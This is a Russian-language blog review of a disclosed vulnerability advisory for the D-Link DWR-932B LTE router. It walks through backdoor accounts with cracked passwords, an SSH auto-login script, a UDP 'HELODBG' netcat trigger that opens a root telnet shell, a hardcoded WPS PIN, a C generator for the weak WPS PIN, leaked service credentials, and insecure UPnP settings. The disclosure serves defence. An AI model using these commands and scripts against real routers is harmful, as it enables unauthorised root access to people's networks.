Взлом роутера D-Link DWR-932B. Обзор уязвимостей.

D-Link DWR-932B — это LTE-роутер, который продается по всему миру и отличается изрядным количеством уязвимостей. Он основан на известнoй модели роутеров компании Quanta, что позволило ему унаследовать некоторые дыры от старшего собрата. Небольшой обзор уязвимостей в этом устройстве уже публиковался ранее, но исправляют их не так быстро.

Взлом роутера D-Link DWR-932B

Все исследования проводились на прошивке DWR-932_fw_revB_2_02_eu_en_20150709.zip. Были найдены уязвимости следующих типов:

  • бэкдор-аккаунты;
  • бэкдор;
  • WPS PIN по умолчанию;
  • слабая генерация WPS PIN;
  • утечка аккаунта No-IP;
  • многочисленные уязвимости в демоне HTTP (qmiweb);
  • удаленная загрузка прошивки (FOTA, Firmware Over The Air);
  • плохое решение по обеспечению безопасности;
  • удалена безопасность в UPnP.

Автор исследования пишет, что в лучшем случае такое количество уязвимостей обусловлено просто некомпетентностью, в худшем — это закладки, сделанные умышленно. Мы рассмотрим лишь самые интересные из них.

[ad name=»Responbl»]

EXPLOIT ДЛЯ D-Link DWR-932B

Бэкдор-аккaунты

По умолчанию на роутере запущены telnetd и SSHd. При этом telnetd работает, даже если об этом нет никакой инфоpмации.

user@kali:~$ cat ./etc/init.d/start_appmgr
...
#Sandro { for telnetd debug...
start-stop-daemon -S -b -a /bin/logmaster
#if [ -e /config2/telnetd ]; then
  start-stop-daemon -S -b -a /sbin/telnetd
#fi
#Sandro }
...

На устройстве есть два бэкдор-аккаунта, через которые можно обойти HTTP-аутентификaцию, используемую для управления устройством.

admin@homerouter:~$ grep admin /etc/passwd
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
admin@homerouter:~$

Пароль для аккаунта admin — это, как ни смешно, admin. Инфоpмацию об этом можно найти в файле /bin/appmgr, используя средства для реверсинга (автор эксплоита использовал IDA).

Функция установки пароля admin для пользователя admin
Функция установки пароля admin для пользователя admin

Обнаружился и пользователь root:

user@kali:~$ cat ./etc/shadow
root:aRDiHrJ0OkehM:16270:0:99999:7:::
daemon:*:16270:0:99999:7:::
bin:*:16270:0:99999:7:::
sys:*:16270:0:99999:7:::
sync:*:16270:0:99999:7:::
games:*:16270:0:99999:7:::
man:*:16270:0:99999:7:::
lp:*:16270:0:99999:7:::
mail:*:16270:0:99999:7:::
news:*:16270:0:99999:7:::
uucp:*:16270:0:99999:7:::
proxy:*:16270:0:99999:7:::
www-data:*:16270:0:99999:7:::
backup:*:16270:0:99999:7:::
list:*:16270:0:99999:7:::
irc:*:16270:0:99999:7:::
gnats:*:16270:0:99999:7:::
diag:*:16270:0:99999:7:::
nobody:*:16270:0:99999:7:::
messagebus:!:16270:0:99999:7:::
avahi:!:16270:0:99999:7:::
admin@kali:~$

Загружаем хеш в старый добрый John the Ripper:

user@kali:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16270:0:99999:7:::

2 password hashes cracked, 0 left
user@kali:~$

В результате получаем пары логин-пароль: admin:admin и root:1234. Весело смеемся.

Автор написал небольшой скрипт для автоматизации авторизации со стандaртным паролем на устройстве.

user@kali:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f

set timeout 3
spawn ssh admin@192.168.1.1
expect "password: $"
send "admin\r"
interact
user@kali:~$ ./quanta-ssh-default-password-admin
spawn ssh admin@192.168.1.1
admin@192.168.1.1's password:
admin@homerouter:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
admin@homerouter:~$

Для root будет аналогично:

user@kali:~$ cat quanta-ssh-default-password-root
...
spawn ssh root@192.168.1.1
expect "password: $"
send "1234\r"
...
root@homerouter:~# id
uid=168(root) gid=168(root) groups=168(root)
root@homerouter:~#

Бэкдор для D-Link DWR-932B

Бэкдор содержится в приложении /bin/appmgr. Если устройству отправить специальную строку по протоколу UDP, то запустится сервер Telnet (без аутентификации!), если он еще не был запущен.

В /bin/appmgr запускается поток, который слушает 0.0.0.0:39889 (UDP) и ждет команды. Если клиент отправит HELODBG, то роутер выполнит команду /sbin/telnetd -l /bin/sh и выдаст доступ на устройстве с правами root без авторизации.

Бэкдор находится в главной функции (строка 369). Ты можешь посмотреть на него сам, открыв этот файл в IDA.

Бэкдор в `/bin/appmgr`
Бэкдор в `/bin/appmgr`

Пример использования:

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

OpenEmbedded Linux homerouter.cpe

msm 20141210 homerouter.cpe

/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.

WPS PIN по умолчанию для D-Link DWR-932B

Wi-Fi Protected Setup (WPS) — это стандарт для легкого и «безопaсного» создания домашней беспроводной сети. Процесс описан в документации к роутеру (help.html).

По умолчанию PIN для WPS всегда 28296607. Он действительно зашит в программу /bin/appmgr.

Вшитый PIN на устройстве
Вшитый PIN на устройстве

PIN также можно найти в настройках HostAP либо используя утечку информации в HTTP API:

root@homerouter:~# ps -a|grep hostap
  1006 root       0:00 hostapd /var/wifi/ar6k0.conf
  1219 root       0:00 grep hostap
root@homerouter:~# cat /var/wifi/ar6k0.conf
...
ap_pin=28296607
...

Слабая генерация WPS PIN D-Link DWR-932B

Пользователь может зайти через веб-интерфейс и сгенерировать временный PIN для WPS. Этот PIN слаб, а для генерации используется странный алгоритм. Ниже представлен пример программы для его получения (автор восстановил алгоритм посредством реверсинга).

user@kali:~$ cat quanta-wps-gen.c

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int    argc,
         char   **argv,
         char   **envp)
{
  unsigned int  i0, i1;
  int           i2;

  /* Используется текущее время устройства, которое, в свою очередь, использует NTP... */
  srand(time(0));

  i0 = rand() % 10000000;
  if (i0 <= 999999)
    i0 += 1000000;
  i1 = 10 * i0;
  i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 *
       (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10))
        % 10) % 10 + 10 * i0;

  printf("%d\n", i2 );

  return (0);
}
user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c
user@kali:~$ ./dlink-wps-gen
97329329
user@kali:~$

Использование srand(time(0)) в качестве сида (seed) — это само по себе плохая идея, потому что атакующий, зная текущую дату (time(0)!), смoжет сгенерировать правильный WPS PIN. Так как роутер использует NTP, значит, время настроено правильно. Атакующий без проблем сгенерирует и подберет правильный WPS PIN. Дизассемблерный код оригинального алгоритма из прошивки:

.text:0001B4D4        EXPORT generate_wlan_wps_enrollee_pin
.text:0001B4D4 generate_wlan_wps_enrollee_pin ; CODE XREF: wifi_msg_handle+194p
.text:0001B4D4
.text:0001B4D4 var_3C = -0x3C
.text:0001B4D4 var_38 = -0x38
.text:0001B4D4 s      = -0x34
.text:0001B4D4 var_30 = -0x30
.text:0001B4D4 var_2C = -0x2C
.text:0001B4D4
.text:0001B4D4        STMFD     SP!, {R4-R11,LR}
.text:0001B4D8        SUB       SP, SP, #0x1C
.text:0001B4DC        STR       R0, [SP,#0x40+s]
.text:0001B4E0        MOV       R0, #0  ; timer
.text:0001B4E4        BL        time
.text:0001B4E8        BL        srand
.text:0001B4EC        BL        rand
.text:0001B4F0        LDR       R4, =0x6B5FCA6B
.text:0001B4F4        MOV       R6, R0,ASR#31
.text:0001B4F8        SMULL     R1, R4, R0, R4
.text:0001B4FC        RSB       R10, R6, R4,ASR#22
.text:0001B500        RSB       R12, R10, R10,LSL#5
.text:0001B504        RSB       R2, R12, R12,LSL#6
.text:0001B508        ADD       R11, R10, R2,LSL#3
.text:0001B50C        LDR       R8, =0xF423F
.text:0001B510        ADD       R9, R11, R11,LSL#2
.text:0001B514        SUB       R1, R0, R9,LSL#7
.text:0001B518        CMP       R1, R8
.text:0001B51C        ADDLS     R1, R1, #0xF4000
.text:0001B520        ADDLS     R1, R1, #0x240
.text:0001B524        ADD       R3, R1, R1,LSL#2
.text:0001B528        MOV       R3, R3,LSL#1
.text:0001B52C        LDR       R1, =0xCCCCCCCD
.text:0001B530        LDR       R5, =0xA7C5AC5
.text:0001B534        LDR       R6, =0x6B5FCA6B
.text:0001B538        MOV       R7, R3,LSR#5
.text:0001B53C        UMULL     R4, R7, R5, R7
.text:0001B540        UMULL     R9, LR, R1, R3
.text:0001B544        UMULL     R5, R6, R3, R6
.text:0001B548        LDR       R12, =0xD1B71759
.text:0001B54C        MOV       R6, R6,LSR#22
.text:0001B550        UMULL     R10, R12, R3, R12
.text:0001B554        MOV       LR, LR,LSR#3
.text:0001B558        UMULL     R10, R9, R1, R6
.text:0001B55C        UMULL     R8, R10, R1, LR
.text:0001B560        LDR       R0, =0x431BDE83
.text:0001B564        MOV       R12, R12,LSR#13
.text:0001B568        UMULL     R11, R0, R3, R0
.text:0001B56C        STR       R10, [SP,#0x40+var_38]
.text:0001B570        UMULL     R8, R10, R1, R12
.text:0001B574        LDR       R2, =0x51EB851F
.text:0001B578        LDR       R4, =0x10624DD3
.text:0001B57C        UMULL     R5, R2, R3, R2
.text:0001B580        MOV       R0, R0,LSR#18
.text:0001B584        STR       R10, [SP,#0x40+var_3C]
.text:0001B588        UMULL     R8, R4, R3, R4
.text:0001B58C        UMULL     R8, R10, R1, R0
.text:0001B590        MOV       R2, R2,LSR#5
.text:0001B594        MOV       R7, R7,LSR#7
.text:0001B598        UMULL     R8, R11, R1, R7
.text:0001B59C        STR       R10, [SP,#0x40+var_30]
.text:0001B5A0        MOV       R4, R4,LSR#6
.text:0001B5A4        UMULL     R8, R10, R1, R2
.text:0001B5A8        UMULL     R8, R5, R1, R4
.text:0001B5AC        STR       R10, [SP,#0x40+var_2C]
.text:0001B5B0        MOV       R8, R9,LSR#3
.text:0001B5B4        MOV       R10, R11,LSR#3
.text:0001B5B8        ADD       R11, R10, R10,LSL#2
.text:0001B5BC        ADD       R9, R8, R8,LSL#2
.text:0001B5C0        MOV       R10, R5,LSR#3
.text:0001B5C4        LDR       R8, [SP,#0x40+var_38]
.text:0001B5C8        SUB       R6, R6, R9,LSL#1
.text:0001B5CC        SUB       R7, R7, R11,LSL#1
.text:0001B5D0        LDR       R9, [SP,#0x40+var_3C]
.text:0001B5D4        LDR       R11, [SP,#0x40+var_30]
.text:0001B5D8        ADD       R5, R10, R10,LSL#2
.text:0001B5DC        SUB       R5, R4, R5,LSL#1
.text:0001B5E0        LDR       R4, [SP,#0x40+var_2C]
.text:0001B5E4        MOV       R10, R8,LSR#3
.text:0001B5E8        MOV       R8, R9,LSR#3
.text:0001B5EC        MOV       R9, R11,LSR#3
.text:0001B5F0        ADD       R7, R7, R6
.text:0001B5F4        ADD       R10, R10, R10,LSL#2
.text:0001B5F8        ADD       R9, R9, R9,LSL#2
.text:0001B5FC        MOV       R11, R4,LSR#3
.text:0001B600        ADD       R8, R8, R8,LSL#2
.text:0001B604        ADD       R7, R7, R5
.text:0001B608        SUB       LR, LR, R10,LSL#1
.text:0001B60C        SUB       R5, R0, R9,LSL#1
.text:0001B610        SUB       R8, R12, R8,LSL#1
.text:0001B614        ADD       R11, R11, R11,LSL#2
.text:0001B618        ADD       R12, R7, LR
.text:0001B61C        SUB       R4, R2, R11,LSL#1
.text:0001B620        ADD       R8, R8, R5
.text:0001B624        ADD       R5, R8, R4
.text:0001B628        ADD       R0, R12, R12,LSL#1
.text:0001B62C        ADD       R4, R5, R0
.text:0001B630        UMULL     R5, R1, R4, R1
.text:0001B634        MOV       R2, R1,LSR#3
.text:0001B638        ADD       LR, R2, R2,LSL#2
.text:0001B63C        SUB       R8, R4, LR,LSL#1
.text:0001B640        LDR       R0, =0x66666667
.text:0001B644        RSB       R2, R8, #0xA
.text:0001B648        SMULL     R8, R0, R2, R0
.text:0001B64C        MOV       R12, R2,ASR#31
.text:0001B650        RSB       R1, R12, R0,ASR#2
.text:0001B654        ADD       LR, R1, R1,LSL#2
.text:0001B658        LDR       R12, =(aHostapd_conf_f - 0x1B670)
.text:0001B65C        SUB       R4, R2, LR,LSL#1
.text:0001B660        LDR       R2, =(aGet_wpspinI - 0x1B67C)
.text:0001B664        ADD       R4, R4, R3
.text:0001B668        ADD       R0, PC, R12 ; "hostapd_conf_file_gen"
.text:0001B66C        ADD       R0, R0, #0x3C
.text:0001B670        MOV       R1, #0x3B
.text:0001B674        ADD       R2, PC, R2 ; "Get_WpsPin:%in"
.text:0001B678        MOV       R3, R4
.text:0001B67C        BL        wifi_filelog
.text:0001B680        LDR       R1, =(a08lu - 0x1B690)
.text:0001B684        LDR       R0, [SP,#0x40+s] ; s
.text:0001B688        ADD       R1, PC, R1 ; "%08lu"
.text:0001B68C        MOV       R2, R4
.text:0001B690        ADD       SP, SP, #0x1C
.text:0001B694        LDMFD     SP!, {R4-R11,LR}
.text:0001B698        B         sprintf
.text:0001B698 ; Конец функции generate_wlan_wps_enrollee_pin

Утечка аккаунта No-IP

Файл /etc/inadyn-mt.conf (для клиентов dyndns) содержит имя пользователя и «зашитый» пароль:

--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system default@no-ip.com
--alias test.no-ip.com

Многочисленные уязвимости в демоне HTTP (qmiweb)

Файл /bin/qmiweb содержит много уязвимостей, но они схожи с нaйденными в LTE-роутере Quanta, на котором базируется исследуемое устройство. Так что портировать старый код не составит труда.

Удаленная загрузка прошивки (Firmware Over The Air, FOTA)

Данные для доступа к серверу FOTA захардкожены в исполняемом файле /sbin/fotad.

Доступ к серверу FOTA из /sbin/fotad
Доступ к серверу FOTA из /sbin/fotad

Эти данные находятся в функции sub_CAAC, представлены как строки в Base64 и используются для получения прошивки.

Демон FOTA пытается получить прошивку по HTTPS, но на момент написания статьи SSL-сертификат для https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml был недействителен уже полтора года.

Функция sub_CAAC
Функция sub_CAAC

Получаем следующие комбинации имени пользователя и пароля: qdpc:qdpc, qdpe:qdpe, qdp:qdp.

[ad name=»Responbl»]

Плохое решение по обеспечению безопaсности D-Link DWR-932B

В /etc/init.d/start_appmgr ты можешь увидеть странные shell-команды, выполняющиеся от рута:

if [  -f /sbin/netcfg ]; then
  echo -n "chmod 777 netcfg"
  chmod 777 /sbin/netcfg
fi
if [  -f /bin/QNetCfg ]; then
  echo -n "chmod 777 QNetCfg"
  chmod 777 /bin/QNetCfg
fi

Сложно сказать, зачем производителю нужны файлы с правами 777 в директориях /bin/ и /sbin/.

[ad name=»Responbl»]

Удалена безопасность в UPnP D-Link DWR-932B

UPnP позволяет динамически добавлять правила для файрвола. Из-за угроз безопасности в некоторых опасных местах создавались новые правила для недоверенных LAN-клиентов.

Ненадежность UPnP была модной десять лет назад (в 2006 году). Уровень безопасности UPnP-программ (miniupnp) в этом роутере снижен, что позволяет атакующему, находящемуся в той же локальной сети, добавить перенаправление порта из интернета на других клиентов, находящихся в этой же сети.

/var/miniupnpd.conf генерируется с помощью программы /bin/appmgr.

Код генeрации файла /var/miniupnpd.conf
Код генерации файла /var/miniupnpd.conf

В данном случае получится следующий файл /var/miniupnpd.conf:

ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # «Защищенный» режим: когда включен, клиент UPnP позволяeт добавлять правила только для своих IP
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD

В конфигурационном файле нет ограничений для правил дoступа UPnP, вопреки распространенной практике. При использoвании UPnP рекомендуется разрешить переадресацию для портов выше 1024. Нормальный файл с настройками:

# UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is <min port>-<max port> or <port> if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535

В настройках уязвимого роутера, где нет никаких правил доступа, атакующий может перенаправить все из WAN в LAN. К примеру, злоумышленник может добавить правило переадресации, чтобы разрешить трафик из интернета на локальные серверы Exchange, базы данных, почтовые, FTP- и HTTP-сеpверы и так далее. На самом деле отсутствие мер безопасности позволяет локальному пользователю пересылать все, что он хочет, из интернета в LAN.

Вопросы автору исследования ты можешь задать через контакты в его персональном блоге. Оригинальный advisory представлен там же. Если используешь D-Link DWR-932B, советую уделить внимание исправлению уязвимостей.

[ad name=»Responbl»]

TARGETS

D-Link DWR-932B. Уязвимости протестированы на последней доступной прошивке на момент исследoвания (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).

SOLUTION

На момент написания оригинальной статьи об исправлении не было известно. В поддержке D-Link исследователю ответили, что клиенты должны сами связаться с локальными или региональными представителями D-Link. Но на момент написания нашего обзора новая версия прошивки (DWR-932_fw_revB_2_03_eu_en_20161011.zip) появилась на официальном сайте.

Click to rate this post!
[Total: 17 Average: 3.2]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.